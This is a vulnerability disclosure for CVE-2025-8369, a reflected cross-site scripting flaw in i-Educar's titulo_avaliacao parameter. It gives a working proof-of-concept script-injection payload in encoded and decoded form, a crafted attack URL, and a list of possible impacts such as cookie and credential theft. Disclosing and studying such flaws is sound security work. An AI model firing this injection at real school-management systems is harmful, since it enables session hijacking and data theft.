CVE-2025-8369: Cross-Site Scripting (XSS) Reflected in endpoint educar_avaliacao_desempenho_lst.php parameter titulo_avaliacao

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2025-8369

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in the educar_avaliacao_desempenho_lst.php endpoint of the i-Educar application. This vulnerability allows attackers to inject malicious scripts into the titulo_avaliacao parameter.

Details

Vulnerable Endpoint: educar_avaliacao_desempenho_lst.php

Parameter: titulo_avaliacao

PoC

Payload:

Encoded

1

  %22%3E%3Cscript%3Ealert%28%27XSS-PoC%27%29%3C%2Fscript%3E

Decoded

1

  "><script>alert('XSS-PoC')</script>

URL

1

  /intranet/educar_avaliacao_desempenho_lst.php?titulo_avaliacao=%22%3E%3Cscript%3Ealert%28%27XSS-PoC%27%29%3C%2Fscript%3E

When a user accesses this crafted URL, the script is executed immediately in the browser, confirming the vulnerability.

Impact

• Stealing session cookies: Attackers can use stolen session cookies to hijack a user's session and perform actions on their behalf.
• Downloading malware: Attackers can trick users into downloading and installing malware on their computers.
• Hijacking browsers: Attackers can hijack a user's browser or deliver browser-based exploits.
• Stealing credentials: Attackers can steal a user's credentials.
• Obtaining sensitive information: Attackers can obtain sensitive information stored in a user's account or in their browser.
• Defacing websites: Attackers can deface a website by altering its content.
• Misdirecting users: Attackers can change the instructions given to users who visit the target website, misdirecting their behavior.
• Damaging a business's reputation: Attackers can damage a business's image or spread misinformation by defacing a corporate website.

Reference

https://github.com/CVE-Hunters/CVE/blob/main/i-educar/CVE-2025-8369.md

Finder

Marcelo Queiroz

By: CVE-Hunters